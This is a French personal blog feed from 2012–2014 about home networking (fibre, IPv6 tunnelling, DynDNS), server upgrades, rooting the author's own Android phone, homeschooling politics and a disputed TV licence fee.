<p>Il faut avouer que passer d'une ligne ADSL Orange découverte …</p><p>On parle beaucoup de la fibre, il se passe parfois des choses, souvent
rien… toujours est-il qu'habiter dans un quartier d'immeubles de grande
hauteur ça peut avoir un intérêt : la fibre (via Orange) est disponible
dans mon immeuble depuis peu !</p>
<p>Il faut avouer que passer d'une ligne ADSL Orange découverte (8/1 mbps)
à la fibre (forfait minimum, limite à 100/50 mbps) ça change pas mal de
choses. Il devient réaliste d'utiliser le débit montant (les 50 mbps)
sur mon serveur !</p>
<p>Comme pour l'ADSL, et c'est bien pratique, on peut supprimer la "box"
fournie (la fameuse "livebox"). Sur l'ADSL il suffit d'avoir un modem
ADSL, et de paramétrer la session PPPoE. Sur la fibre c'est assez
similaire, sauf que c'est Orange qui fournit le "modem" (c'est un ONT
(Optical Network Terminaison) sur de la fibre en GPON). Dans les deux
cas il y a un raccordement ethernet RJ45 et on peut tout gérer sur un
routeur perso (boîtier, PC normal, …). La seule différence c'est que sur
la fibre les flux (oui y'a le net, mais aussi des trucs barbares comme
la télé ou le téléphone) sont séparés et nous arrivent dans des VLAN.
Pour la partie Internet, il faut utiliser le VLAN 835.</p>
<p>J'ai un peu (beaucoup) galéré pour arriver à faire fonctionner cette
fibre sur mon routeur, qui tourne sous Tomato. Pas moyen de taguer
au-dessus de 15 depuis l'interface web, et bien que vconfig fonctionne
pour 835, aucun paquet n'arrivait vraiment sur l'interface. A priori
c'est parce qu'il faut gérer une configuration matérielle derrière,
directement sur le port, comme quand on active le mode trunk puis
assigne un VLAN à un port sur du matériel configurable. En cherchant
autour de ça, j'ai vu que chez certains utilisateurs il y avait tout ce
qu'il me fallait dans l'interface web de Tomato. J'ai donc juste eu à
mettre à jour le firmware et hop ! Deux clics, changement des login/mdp
et c'était bon. Tout simple, quoi.</p>
<p>Bref depuis quelque chose comme deux heures, la fibre a débarqué chez
moi, et mon serveur va enfin pouvoir vraiment être une partie
d'Internet, sans cette limite de 100 ko/s qui m'a bien gêné depuis
septembre 2010 (début du serveur) et même avant !</p>
<p>EDIT: livebox rendue hier sans soucis, le type n'a pas eu l'air surpris
et a été étonné que je m'assure qu'il n'allait pas résilier l'abonnement
du même coup.</p>
Nettoyage d'automne2014-10-24T19:54:00+02:002014-10-24T19:54:00+02:00johndescstag:jonathan.michalon.eu,2014-10-24:/nettoyage-dautomne.html<p>J'ai un peu mis au propre le chantier drupalesque que j'avais : encore
du drupal6, en parallèle à du drupal7 (paquets Debian). Donc mises à
jour, déplacement de bazard etc.</p>
<p>Ça s'est passé, mais c'est pas non plus super simple, beaucoup de choses
ont évolué, donc il faut tout vérifier, et …</p><p>J'ai un peu mis au propre le chantier drupalesque que j'avais : encore
du drupal6, en parallèle à du drupal7 (paquets Debian). Donc mises à
jour, déplacement de bazard etc.</p>
<p>Ça s'est passé, mais c'est pas non plus super simple, beaucoup de choses
ont évolué, donc il faut tout vérifier, et il y a des parties à
reconfigurer, J'ai suivi le howto du wiki Debian, c'est une bonne base,
et après au cas par cas, retrouver les modules, adapter aux nouvelles
versions. C'est pas encore tout à fait propre non plus.</p>
<p>Du coup le /pages/ qui trainait avec un redirect permanent a pu dégager,
et j'ai déplacé ce blog correctement (il était sur le premier site
générique, pas sur jonathan. depuis le début (et donc repris avec un
gros hack), voir un post précédent…). Le flux RSS doit être cassé aussi
en passant, mais pour ce que je devais avoir comme lecteurs ça devrait
aller.</p>
<p>Bref une aprème + soirée et une matinée rien que pour ça, il me reste du
pain sur la planche pour finir de ranger ce serveur… je pense surtout
aux différents conteneurs OpenVZ qui trainent et qui servent à rien, et
au fait que je suis toujours sur Debian oldstable (à cause de OpenVZ
justement).</p>
Fin de chalmion.homelinux.net2014-05-08T17:35:00+02:002014-05-08T17:35:00+02:00johndescstag:jonathan.michalon.eu,2014-05-08:/fin-de-chalmionhomelinuxnet.html<p>Hé oui, chalmion.homelinux.net c'est fini. J'ai dû créer ce nom de
domaine gratuitement chez DynDNS du côté de 2007, et commencer à
bidouiller pas mal avec plus tard quand j'ai eu un serveur permanent
chez moi. Mais depuis un moment DynDNS (maintenant dyn.com) poussait à
l'achat de …</p><p>Hé oui, chalmion.homelinux.net c'est fini. J'ai dû créer ce nom de
domaine gratuitement chez DynDNS du côté de 2007, et commencer à
bidouiller pas mal avec plus tard quand j'ai eu un serveur permanent
chez moi. Mais depuis un moment DynDNS (maintenant dyn.com) poussait à
l'achat de la version payante de leur service. J'ai donc lentement migré
sur ma zone perso que j'avais réservé entretemps car ça sentait un peu
mauvais. Et puis évidemment le moment est venu où ils ont voulu virer
tous les comptes gratuits. La deadline était hier. C'est chose faite.</p>
<p>À noter qu'ils se sont bien amusés : ils ont mis une IP à eux dans la
zone et affiché une page qui disait que « blabla c'était dommage mais ça
marchait plus blabla payer blabla on a des bonnes raisons de vous avoir
viré blabla » donc en gros tout le trafic qui aurait dû arriver chez moi
qui aurait encore pu exister (j'ai bien dû oublier quelques endroits
avec chalmion) allait arriver chez eux…</p>
<div class="highlight"><pre><span></span>$ host chalmion.homelinux.netchalmion.homelinux.net has address <span class="m">23</span>.92.23.71
</pre></div>
<p> J'ai donc suivi le lien qu'ils me donnaient dans les mails me
signifiant leur décision de fermer les comptes gratuits et supprimé mon
compte. La zone a bien été détruite, donc plus de soucis (sauf si
quelqu'un paye pour reprendre le même nom…).</p>
<div class="highlight"><pre><span></span>$ host chalmion.homelinux.netHost chalmion.homelinux.net not found: <span class="m">3</span><span class="o">(</span>NXDOMAIN<span class="o">)</span>
</pre></div>
<p>Ils ont vraiment pas envie qu'on se barre : après avoir dû cocher deux
cases sur la page pour dire que oui je sais que c'est irréversible et
oui je veux vraiment, y'a encore une popup js qui dit « Last
confirmation. Are you really really sure?! Please do not do that if you
unsure, ask support at dyn.com! ». Et sur la page suivante, on a quelque
chose de bien mignon : « Your account has been successfully closed. Your
hostnames have been returned to the available pool, and any domain(s)
will be removed from our DNS servers within 2 hours. We are sorry that
you did not feel that our services met your needs, and would like your
suggestions for improvements. Feel free to email info at dyn.com with
any constructive comments or suggestions you may have. » ! Si c'est pas
tout gentil, ça ! :)</p>
<p>Bref c'est la fin de l'ère chalmion, mon premier ndd (même s'il ne
m'était pas vraiment attribué comme on le voit ici), celui avec lequel
j'ai commencé à me connecter de l'extérieur chez moi, où j'ai appris à
gérer un serveur @home, etc.</p>
Proposition de loi abandonnée !2014-03-11T17:43:00+01:002014-03-11T17:43:00+01:00johndescstag:jonathan.michalon.eu,2014-03-11:/proposition-de-loi-abandonnee.html<p>Ha bin voila, un jour avec un vraie bonne nouvelle : la proposition de
loi pour interdire l'instruction en famille (voir posts précédents) a
été rejetée.</p>
<p>Déjà deux cosignataires s'étaient désistés, mais ce matin, jour de la
première lecture du texte, l'auteur a préféré « arrêter les conneries et
les bêtises et …</p><p>Ha bin voila, un jour avec un vraie bonne nouvelle : la proposition de
loi pour interdire l'instruction en famille (voir posts précédents) a
été rejetée.</p>
<p>Déjà deux cosignataires s'étaient désistés, mais ce matin, jour de la
première lecture du texte, l'auteur a préféré « arrêter les conneries et
les bêtises et redevenir sérieux » (oui la référence n'est pas vraiment
bonne mais tellement bien a-propos…).</p>
<p>Donc voila, nous pouvons encore bénéficier, par choix ou par nécessité,
d'une liberté qui semble bien dérangeante pour nos dirigeants mais
réellement importante à mon sens.</p>
<p>Ici la réaction de celui qui m'a le plus incité à envoyer un mail aux
sénateurs et députés : <a class="reference external" href="http://shaarli.guiguishow.info/?QGLM4Q">http://shaarli.guiguishow.info/?QGLM4Q</a> … et il a
même écrit une chronologie détaillée, ça m'évitera de le faire ! :)</p>
<p>Personnellement je retiendrai trois choses principales :</p>
<ul class="simple">
<li>Se bouger et se faire entendre des politiques, au final, c'est pas
tellement difficile grâce aux mails. Bien sûr ils ne les lisent pas
vraiment, mais j'ose croire à un effet de masse, et que certains
textes ont tout de même été parcourus.</li>
<li>Le grand n'importe-quoi du côté des sénateurs est bien réel, et même
pire que je ne l'imaginais car les "réponses" (oui entre guillements
par ce n'en était pas toujours vraiment) étaient affligeantes et
totalement indignes de leurs fonctions.</li>
<li>Il y a néanmoins un côté rassurant, c'est que les gens se sont
mobilisés, ont écrit des messages bien tournés et très sensés aux
élus. De quoi redonner un peu foi en l'humanité.</li>
</ul>
Faire « de la politique » ?2014-01-26T20:12:00+01:002014-01-26T20:12:00+01:00johndescstag:jonathan.michalon.eu,2014-01-26:/faire-de-la-politique.html<p>Au final cette proposition de loi pour interdire l'instruction en
famille (voir post précédent) m'a tellement inquiété que j'ai cédé et «
fait de la politique ». En diffusant l'info, j'ai déclenché un processus
un peu particulier ; faire « rager » quelqu'un qui, bien qu'ayant été
scolarisé, s'est fâché tout rouge en apprendant cela …</p><p>Au final cette proposition de loi pour interdire l'instruction en
famille (voir post précédent) m'a tellement inquiété que j'ai cédé et «
fait de la politique ». En diffusant l'info, j'ai déclenché un processus
un peu particulier ; faire « rager » quelqu'un qui, bien qu'ayant été
scolarisé, s'est fâché tout rouge en apprendant cela. Ne croyant pas à
la pétition en ligne, il a décrété que la seule chose à faire était
d'écrire directement aux députés de nos circonscriptions et aux
sénateurs responsables. Après tout c'est le boulot des députés de lire
nos doléances. Il a immédiatement commencé à rédiger une lettre
d'engueulade (enfin en version presque gentille…) et donc j'ai juste eu
à suivre le mouvement. Cette après-midi après moult discussions et de
nombreuses modifications à plusieurs sur un etherpad, nous avons fini
par stabiliser une version du texte et nous l'avons l'envoyée, avec 6
signataires pour les sénateurs et chacun à nos députés respectifs.</p>
<p>Bref, j'ai fait de la politique… on m'aurait dit il y a deux jours que
j'allais écrire aux députés et aux sénateurs, je n'y aurais absolument
pas cru !</p>
Hop ! Une liberté de moins…2014-01-25T14:33:00+01:002014-01-25T14:33:00+01:00johndescstag:jonathan.michalon.eu,2014-01-25:/hop-une-liberte-de-moins.html<p>… et ce qui devait arriver arriva : non content d'obliger la grande
majorité des gens à rentrer dans le moule de l'Éducation Nationale, le
gouvernement vise maintenant les quelques-uns qui s'efforçaient d'y
échapper. En effet, un projet de loi proposant la quasi-suppression de
l'instruction en famille (IEF) est actuellement étudié.
<a class="reference external" href="http://www.senat.fr/leg/ppl13-245.html">http …</a></p><p>… et ce qui devait arriver arriva : non content d'obliger la grande
majorité des gens à rentrer dans le moule de l'Éducation Nationale, le
gouvernement vise maintenant les quelques-uns qui s'efforçaient d'y
échapper. En effet, un projet de loi proposant la quasi-suppression de
l'instruction en famille (IEF) est actuellement étudié.
<a class="reference external" href="http://www.senat.fr/leg/ppl13-245.html">http://www.senat.fr/leg/ppl13-245.html</a></p>
<p>Il fallait s'y attendre mais vu la tournure des non-événements du
gouvernement actuel je n'y pensais même plus. En effet, déjà à l'époque
de la "bataille" Ségolène-Sarko j'avais retenu deux choses (le reste se
noyant dans la masse de bullshit balancée des deux côtés) du clan
pseudo-socialiste : la solution à tous les problèmes gênants c'était de
faire un moratoire puis créer une commission qui réfléchirait un jour
peut-être, et le summum de l'éducation c'était de mettre tous les gosses
dans le moule à la crèche dès deux ans, histoire de bien les faire
intégrer le dogme politiquement correct dès le plus jeune âge. Ça
m'avait vraiment frappé, vu que je m'en souviens encore… et voila qu'on
y arrive aujourd'hui.</p>
<p>Si cette liberté disparait c'est un pan entier de mon enfance qui est
balayé, puisque j'ai bénéficié de cette instruction jusqu'au bac. Et
quoi qu'on en dise je ne pense pas être traumatisé plus qu'un autre, ni
même tellement plus associal que les adultes scolarisés. Par contre, les
avantages sont tellement nombreux ! Que de temps gagné ainsi, qui a
rendu de nombreuses escapades possibles, le loisir de réaliser plein de
projets divers, et enfin me laissa apprendre l'informatique en
autodidacte tranquillement pour passer ensuite les cinq années de fac
les doigts dans le nez et commencer à travailler à 23 ans. Lorsque la
famille est capable de gérer l'IEF, c'est vraiment une enfance beaucoup
plus enrichissante à mon sens.</p>
<p>Enfin bon, liberté, égalité, fraternité qu'y disaient !</p>
Contribution forcée à l'audiovisuel public ?2014-01-11T16:54:00+01:002014-01-11T16:54:00+01:00johndescstag:jonathan.michalon.eu,2014-01-11:/contribution-forcee-a-laudiovisuel-public.html<p>Il y a quelques temps, mon père a reçu une lettre des impôts décidant
qu'il fallait qu'il paye la Contribution à l'audiovisuel public (la
redevance télé quoi). Pour des gens qui n'ont pas de télé, jamais
regardé les émissons de télé et sont anti-télé (âneries débitées sur la
politique, films …</p><p>Il y a quelques temps, mon père a reçu une lettre des impôts décidant
qu'il fallait qu'il paye la Contribution à l'audiovisuel public (la
redevance télé quoi). Pour des gens qui n'ont pas de télé, jamais
regardé les émissons de télé et sont anti-télé (âneries débitées sur la
politique, films produits totalement sans intérêt, émissions
affligeantes, etc.), c'était quand même un peu pousser le bouchon. Comme
si on ne payait pas déjà assez d'impôts dans tous les sens.</p>
<p>Mon père ne se sentant pas de taille à combattre les impôts, et sachant
que légalement ils n'ont rien pour eux dans ce problème (pas le droit de
rentrer chez les gens etc.) j'ai décidé d'écrire un texte assez méchant
tout de même pour tenter d'éviter une arnaque pareille. Et ça a réussi,
car hier il a reçu une lettre annonçant l'abandon de la totalité des
"propositions de rectification" !</p>
<p>Je tiens donc à partager ma réponse qui pourrait éventuellement inspirer
d'autres foyers anti-télé le cas échéant.</p>
<blockquote>
<p>À ma connaissance la Contribution à l'audiovisuel public est limitée
aux foyers disposant d'un équipement permettant la réception de la
télévision. Mon foyer n'en dispose pas. Je n'ai pas de téléviseur ni
autre appareil avec tuner adapté (tuner TNT, Télévision Numérique
Terrestre). Je dispose d'un accès à Internet par abonnement à Orange
mais via une offre excluant tout flux audiovisuel (sans
triple-play).</p>
<p>Une personne s'est présentée à mon domicile à l'improviste pour
contrôler mes déclarations. Cette personne, agent du fisc, n'a pas
le droit d'entrer dans les locaux d'habitation. Et quand bien même
elle eût pu glisser un regard depuis le seuil ou la rue, elle n'eût
pu détecter un tuner TNT, et encore moins les option d'un éventuel
abonnement triple-play.</p>
<p>Je trouve cette action d'intimidation accompagnée d'une amende
totalement déplacée et non justifiée et vous prie de bien vouloir
rectifier la situation.</p>
</blockquote>
<p>Timing :</p>
<ol class="arabic simple">
<li>29 novembre : réception de la proposition de redressement</li>
<li>06 décembre : envoi de la réponse (recommandé AR)</li>
<li>10 janvier : réception de la lettre d'annulation</li>
</ol>
<p>Tarifs (appliqués à l'année 2012) :</p>
<ul class="simple">
<li>contribution normale : 125€</li>
<li>pénalité : 150€</li>
</ul>
<p>Il aurait en plus fallu payer pour 2013 bien sûr (et les années
suivantes), avec les augmentations qui vont bien (le tarif est déjà
passé à 131€, avec promesse de continuer, au nom de l'exception
culturelle française). Comme quoi ça valait le coup de tenter quelque
chose !</p>
Upgrade d'Apache2 vers Debian Wheezy et FCGId2013-12-23T19:01:00+01:002013-12-23T19:01:00+01:00johndescstag:jonathan.michalon.eu,2013-12-23:/upgrade-dapache2-vers-debian-wheezy-et-fcgid.html<p>Hé bien j'ai pas beaucoup écrit les derniers temps… mais j'étais surtout
bien occupé par mon stage, qui se poursuit en CDD…</p>
<p>Bref, là j'ai un peu de temps et je me suis motivé à mettre à jour mes
conteneurs OpenVZ. Pour l'instant je mets à jour uniquement les
conteneurs …</p><p>Hé bien j'ai pas beaucoup écrit les derniers temps… mais j'étais surtout
bien occupé par mon stage, qui se poursuit en CDD…</p>
<p>Bref, là j'ai un peu de temps et je me suis motivé à mettre à jour mes
conteneurs OpenVZ. Pour l'instant je mets à jour uniquement les
conteneurs, et pas l'hôte car le kernel OpenVZ n'est plus disponible
dans Wheezy.</p>
<p>J'ai à peu près fait les mises à jour sans problème à part Apache2 qui
m'a bien embêté : il n'interprétait plus le PHP. Comme j'étais passé à
FCGId il y a un moment, j'ai tout de suite soupçonné un soucis de ce
côté. Mais dans l'absence totale de messages d'erreur j'ai fini par
trouver en faisant une recherche sur un moteur quelconque qu'il
suffisait de désactiver le module php5_cgi, dont la configuration par
défaut avait trop changé et n'est plus compatible avec FCGId. Donc :</p>
<div class="highlight"><pre><span></span>$ a2dismod php5_cgi
</pre></div>
<p>Bien sûr on ne peut pas simplement supprimer le paquet puisqu'il
contient le wrapper nécessaire.</p>
Le prix ne suffit pas2013-01-10T20:58:00+01:002013-01-10T20:58:00+01:00johndescstag:jonathan.michalon.eu,2013-01-10:/le-prix-ne-suffit-pas.html<p>J'ai commencé mon stage cette semaine, et je travaille dans la
virtualisation. Pour commencer je me crée une maquette OpenStack, et le
serveur où ces VM sont créées est sous l'hyperviseur de VMware, ESXi
5.1.</p>
<p>VMware est une entreprise spécialisée dans la virtualisation depuis un
bon moment (1998 me …</p><p>J'ai commencé mon stage cette semaine, et je travaille dans la
virtualisation. Pour commencer je me crée une maquette OpenStack, et le
serveur où ces VM sont créées est sous l'hyperviseur de VMware, ESXi
5.1.</p>
<p>VMware est une entreprise spécialisée dans la virtualisation depuis un
bon moment (1998 me dit Wikipedia). Ils proposent des solutions
industrielles dans ce domaine, en particulier pour le « cloud ». Et ils
sont connus pour être relativement cher au niveau du prix des licences.</p>
<p>Malgré cela nous nous sommes heurtés à des problèmes sur des opérations
basiques. Cela se passe sur le client flash du futur (la version
utilisée ici est en transition entre un client dit « lourd » en C#
installé sur les postes des opérateurs et un client flash).</p>
<ul class="simple">
<li>Pour installer un système d'exploitation, il faut bien le trouver
quelque part. Le plus simple et le plus courant est de le faire
depuis une image ISO. Seulement, après avoir cherché longtemps où
cliquer pour fournir l'ISO, il a fallu se rendre à l'évidence : la
fonctionnalité ne fonctionne juste pas.</li>
<li>Cloner une VM : le disque virtuel est bien dupliqué mais il n'est pas
assigné au clone. Donc lorsqu'on avait cloné les 3 machines (on a
donc un total de 4 : la base et les 3 que je devais utiliser) l'image
du disque de la VM de base était assignée aux 4 machines. Au
démarrage de la seconde, on avait un message d'erreur expliquant
qu'il n'arrivait pas à verrouiller le disque… évidemment ! la
solution de contournement a été on ne peut plus laide. En effet on ne
peut pas assigner une autre image à un disque virtuel, il a fallu
supprimer le disque et en recréer un avec la bonne image !</li>
<li>Enfin une fois les machines en place, je suis retourné sur mon poste
de travail de stagiaire (un Debian que j'ai pu installer moi-même !)
et, voulant profiter du fait que le client flash est disponible avec
un simple navigateur, voulu l'utiliser… mais non. Après avoir bien
pédalé et accaparé dans les 1 giga de swap (le poste de travail a 1
giga de RAM), donc près de 2 gigas, le plugin se plante tout
simplement. En essayant sur un autre poste, j'ai remarqué qu'il y a
une pointe où le plugin flash prend énormément de RAM, avant…
d'afficher une page bleue pour s'identifier !</li>
</ul>
<p>Malgré qu'Adobe semble plus ou moins abandonner flash, eux ils
choisissent de passer à flash, mais à quel prix pour l'utilisabilité…</p>
IPv6 arrive chez moi !2012-09-29T17:27:00+02:002012-09-29T17:27:00+02:00johndescstag:jonathan.michalon.eu,2012-09-29:/ipv6-arrive-chez-moi.html<p>Ça y est, j'ai l'IPv6 chez moi ! Mon LAN est depuis hier entièrement
adressé en IPv6 avec des adresses publiques.</p>
<p>Ce n'est pas qu'Orange s'est enfin décidé à en fournir, bien loin de là.
En fait hier en discutant sur IRC j'ai appris qu'il existe une méthode
simple avec un …</p><p>Ça y est, j'ai l'IPv6 chez moi ! Mon LAN est depuis hier entièrement
adressé en IPv6 avec des adresses publiques.</p>
<p>Ce n'est pas qu'Orange s'est enfin décidé à en fournir, bien loin de là.
En fait hier en discutant sur IRC j'ai appris qu'il existe une méthode
simple avec un tunnel 6in4 (IPv6 dans de l'IPv4). La société Hurricane
Electric offre une sortie de tunnel 6in4 gratuitement au cœur de son
réseau. Il suffit de s'inscrire, de paramétrer le tunnel et hop IPv6
fonctionne !</p>
<p>Le principe est donc de faire un tunnel entre deux entités dans lequel
les paquets IPv6 passeront. D'un côté mon routeur, avec le firmware
TomatoUSB qui permet de configurer cela directement sur les pages web
d'administration. De l'autre un serveur Hurricane Electric (à Paris en
plus, vu que déjà tout le trafic Orange y remonte ça évite de perdre en
latence).</p>
<p>En gros les étapes :</p>
<ol class="arabic simple">
<li>Créer un compte chez Hurricane Electric (<a class="reference external" href="https://tunnelbroker.net/">https://tunnelbroker.net/</a>).
Ils demande de nombreuses infos, mais on m'a assuré que c'était une
société sérieuse (quelqu'un avec qui je discutais utilise ce même
procédé depuis 2008).</li>
<li>On reçoit immédiatement un mail avec le login et un mot de passe
généré. Se loguer avec (on peut alors le changer).</li>
<li>Cliquer sur "Create Regular Tunnel", choisir un serveur chez eux.</li>
<li>On se rend alors compte qu'un test vérifie qu'on répond au ping sur
l'IPv4 de sortie du tunnel donnée, il faut donc l'activer si ce n'est
pas le cas (je ne répondais pas auparavant donc j'ai dû le faire).</li>
<li>Créer le tunnel.</li>
<li>Lorsque le tunnel est créé, toutes les infos nécessaires sont
données. Il suffit de les rentrer sur le panneau de configuration
adéquat (dans TomatoUSB chez moi). Le firmware a redémarré toutes les
connexions, j'ai donc changé d'IPv4. À ce moment-là tout devrait
fonctionner.</li>
<li>(facultatif IP dynamique) Il faut configurer le DDNS pour que l'IPv4
de destination du tunnel (celle qui est attribuée par le FAI) se
mette à jour dans la configuration du tunnel côté serveur Hurricane
Electric. Tout est prévu dans TomatoUSB, il suffit de configurer
comme n'importe quel DDNS en sélectionnant le bon service.</li>
</ol>
<p>En gros ça m'a pris une demi-heure.</p>
<p>À l'utilisation jusqu'à présent j'ai relevé quelques conséquences. Je
n'ai pas pu installer de module Firefox (j'en voulais un qui m'affiche
si le site est atteint en v4 ou v6), apparemment il y a de mauvaises
raisons pour ça.
GMail a aussi remarqué le changement et ne voulait plus laisser ma
mère accéder à son compte (ça ne l'a pas fait pour moi). C'est une
mesure anti-pirate qui lorsqu'on se connecte avec une IP bizarre
interdit la connexion. Comme mon IPv6 est localisée aux USA ça lui a
paru louche.</p>
<p>J'ai aussi eu un problème très bizarre : certains sites IPv6 ne
répondaient qu'après un très long délai (ou même jamais). J'ai demandé
sur le canal IRC d'ARN d'où cela pouvait provenir et après quelques
tests, on m'a dit de vérifier le MTU (Maximum Transfer Unit) du tunnel.
En effet, ayant sur mon ADSL un MTU de 1492 octets (contrairement aux
1500 habituels) et mon tunnel étant configuré par défaut à 1480 octets
de MTU, les 20 octets de l'entête IPv4 faisaient dépasser la limite, et
donc mon modem était obligé de fragmenter les paquets ce qui parait-il
pose souvent problème. Après configuration du MTU du tunnel à 1472
octets, c'était réglé.</p>
<p>Bref, à moi le monde IPv6 ! Et avec une IP fixe en plus !</p>
Root d'Android2012-09-01T16:20:00+02:002012-09-01T16:20:00+02:00johndescstag:jonathan.michalon.eu,2012-09-01:/root-dandroid.html<p>Il existe de nombreuses méthodes pour devenir root sur un système
Android, certaines sont pour des versions anciennes, d'autres pas sûres
ou paraissent bancales.</p>
<p>J'ai passé du temps à chercher la plus simple et la moins intrusive.
Lorsqu'enfin une méthode me sembla sympathique, une sombre histoire de
puce MMC avec …</p><p>Il existe de nombreuses méthodes pour devenir root sur un système
Android, certaines sont pour des versions anciennes, d'autres pas sûres
ou paraissent bancales.</p>
<p>J'ai passé du temps à chercher la plus simple et la moins intrusive.
Lorsqu'enfin une méthode me sembla sympathique, une sombre histoire de
puce MMC avec un firmware problématique assombrit le tableau car une des
options disponibles, bien que pas nécessaire à la manœuvre que je
voulais effectuer, risquait de rendre totalement inutilisable l'engin au
complet ! À cause de cela tous les lien de téléchargement avaient été
désactivés, pour éviter les ennuis. J'ai donc passé mon chemin.</p>
<p>Finalement une mise à jour en mode recovery installant les quelques
fichiers nécessaires (le binaire "su", un frontend demandant la
permission de passer root pour chaque appel à "su" en mode graphique et
BusyBox pour avoir de vraies commandes Unix) était disponible, avec une
signature compatible avec mon Android. Seulement avec le programme de
recovery par défaut, on ne peut faire de mise à jour (et donc utiliser
ce moyen) qu'à partir d'une carte microSD externe.</p>
<p>J'ai donc demandé autour de moi qui pouvait m'en prêter, et le président
d'ARN m'a répondu favorablement ; 1h après je l'avais sous la main. Mais
rien n'est jamais si simple car…</p>
<p>La partition système est dimensionnée au plus juste et il n'y avait pas
la place pour tout ! L'installation ne donnait rien, et ce sans message
d'erreur. J'ai dû faire de la place et pour cela il y a une solution
simple : un gestionnaire de fichiers en mode recovery, chargé
directement sans installation ! Mais il n'est pas chargeable par le
programme de recovery par défaut. J'ai donc dû passer pas un alternatif,
ClockWorkMod recovery signé pour mon appareil, qui lui ne restreint pas
les programmes qu'il lance. Que de complications !</p>
<p>En résumé :</p>
<ol class="arabic simple">
<li>Aller en mode recovery (en appuyant sur tous les boutons physiques au
démarrage, volume haut, menu et power) ;</li>
<li>Sélectionner le fichier de mise à jour CWM préalablement transféré
sur la microSD externe, on arrive dans un autre recovery plus évolué.
J'ai pris celui pour le Galaxy S2 du forum qui explique la procédure
sans rencontrer de problème sur mon Galaxy Note (même architecture).
Post :
<a class="reference external" href="http://forum.xda-developers.com/showthread.php?t=1746794">ici</a>.</li>
<li>Démarrer le gestionnaire de fichiers en choisissant le zip le
contenant :
<a class="reference external" href="http://forum.xda-developers.com/showthread.php?t=1646108">AromaFM</a>
;</li>
<li>Supprimer du système (/system) ou déplacer ailleurs quelque chose de
gros (j'ai bougé socialhub.apk et .odex que je n'utilise pas) ;</li>
<li>Reboot pour retourner dans le recovery par défaut (on doit aussi
pouvoir le faire directement dans CWM) ;</li>
<li>Installer les fichiers depuis le zip signé fourni spécialement dans
le post où il y avait le cwm (nommé alors
CWM_Root_Superuser_3.1.3_Busybox_1.20.2-signed.zip mais le nom a
pu évoluer) ;</li>
<li>Enjoy !</li>
</ol>
<p>Pour tester j'ai tout de suite tenté une des raisons pour laquelle je
voulais être root (à part la possibilité de tout casser qui est
nécessaire au bien-être d'un geek) : virer le son au démarrage. Pas dur.</p>
<div class="highlight"><pre><span></span>mount -o remount,rw /dev/block/mmcblk0p9 /system/mv /system/etc/PowerOn.ogg /system/etc/PowerOn.ogg.real
</pre></div>
<p>On se donne le droit d'écrire dans le système, puis on renomme le
fichier pour pas qu'il soit trouvé.</p>
<p>À noter que le son est en OGG ! :)</p>
Un Tux en verre2012-08-29T10:52:00+02:002012-08-29T10:52:00+02:00johndescstag:jonathan.michalon.eu,2012-08-29:/un-tux-en-verre.html<p>L'autre jour on m'a proposé de participer à un atelier de verre avec un
copain, et j'y suis allé. Après s'être initiés en coulant une goutte, on
pouvait chacun son tour créer un petit objet en verre.</p>
<p>Évidemment, comme chaque fois qu'il me faut une idée d'objet, dessin,
effigie ou …</p><p>L'autre jour on m'a proposé de participer à un atelier de verre avec un
copain, et j'y suis allé. Après s'être initiés en coulant une goutte, on
pouvait chacun son tour créer un petit objet en verre.</p>
<p>Évidemment, comme chaque fois qu'il me faut une idée d'objet, dessin,
effigie ou autre j'ai pensé à Tux. Avec ses formes relativement
arrondies c'est finalement pas une trop mauvaise idée à faire en verre,
car il suffit de souffler les parties sphériques et d'accoler le reste
par-dessus. C'est ce que j'ai fait. Voici le résultat :</p>
<p><a class="reference external" href="/images/tux-verre.png"><img alt="tux en verre" src="/images/tux-verre-small.png" /></a></p>
Mieux vaut tard que jamais…2012-08-15T12:58:00+02:002012-08-15T12:58:00+02:00johndescstag:jonathan.michalon.eu,2012-08-15:/mieux-vaut-tard-que-jamais.html<p>Je n'ai pas posté depuis le 20 juin ? Alors que c'est les vacances et
que je ne suis pas parti ? Qu'est-ce que j'ai dû en faire des choses
alors !</p>
<p>En effet c'est un peu la révolution d'un certain côté. Moi qui étais
toujours anti-téléphone portable, et qui n'en voyais pas …</p><p>Je n'ai pas posté depuis le 20 juin ? Alors que c'est les vacances et
que je ne suis pas parti ? Qu'est-ce que j'ai dû en faire des choses
alors !</p>
<p>En effet c'est un peu la révolution d'un certain côté. Moi qui étais
toujours anti-téléphone portable, et qui n'en voyais pas l'utilité par
rapport au prix, j'ai fait le pas et me suis décidé. À ma décharge il
faut avouer que la situation a grandement évolué les derniers temps. Un
ordinateur de poche (dit "<em>smartphone</em>") est devenu un ordinateur à
part entière avec une dose raisonnable de RAM, un processeur qui avance
correctement et même Linux !</p>
<p>Ce qui m'a finalement décidé se décompose en plusieurs facteurs.</p>
<p>Premièrement, je vois venir la fin des études ennuyeuses sur le mode
prof-cours-exams. Plus qu'un seul semestre, le second de l'année étant
un stage. Je vais entrer dans la vrai vie active et un téléphone devient
intéressant à avoir.</p>
<p>Une grosse proportion de ces téléphones sont des smartphones avec Linux
et Android ; pour un geek ça devient intéressant. Après quelques
installations d'applis ou avec le SDK android, on peut avoir accès à un
vrai shell Unix. Plus une petite manipulation pour être root et ça
devient presque un PC. Client jabber, IRC, SSH, mails, rien ne manque et
avec un clavier tactile potable, on peut utiliser ces engins comme un
laptop qui tiendrait dans une poche.</p>
<p>Un autre point est financier, le matériel n'est pas donné (500€ mais
j'ai profité d'une réduction de 100€ pour l'été). Par contre après le
remuement en France dû à Free les tarifs des forfaits ont grandement
diminué. En effet, pour 20€ par mois on a appels (mobile en France + 40
pays en fixe) et SMS "illimité" avec 3Go de trafic de données. Valable.</p>
<p>Je me suis donc décidé pour un Samsung Galaxy Note avec le forfait Free
à 20€. Le Galaxy Note est un hybride entre un smartphone habituel et une
tablette en cela qu'il a un écran de 5,3". Franchement confortable, avec
sa résolution de 1280×800 (comme un laptop 15,4" standard), c'est
vraiment le point fort du modèle. Mais il y a aussi 1Go de RAM, un
processeur ARM bi-cœur 1,4 GHz et une batterie relativement musclée. Et
un stylet… que je n'utilise pas trop mais qui peut être pratique dans
certains cas.</p>
<p>Comme configuration téléphone / smartphone j'avoue démarrer plutôt fort.
Mais il faut bien ça quand on a 22 ans et qu'on se lance dans le monde
de la téléphonie (oui c'est mon premier téléphone !).</p>
<p><img alt="tel avec pochette" src="/images/tel-small.png" /></p>
<p>On remarquera la pochette que je me suis fabriquée avec le logo de
Debian brodé en point bourdon. La carte SD est là pour donner l'échelle.</p>
<p>Edit : 15/11/2012, le remboursement des 100€ est arrivé !</p>
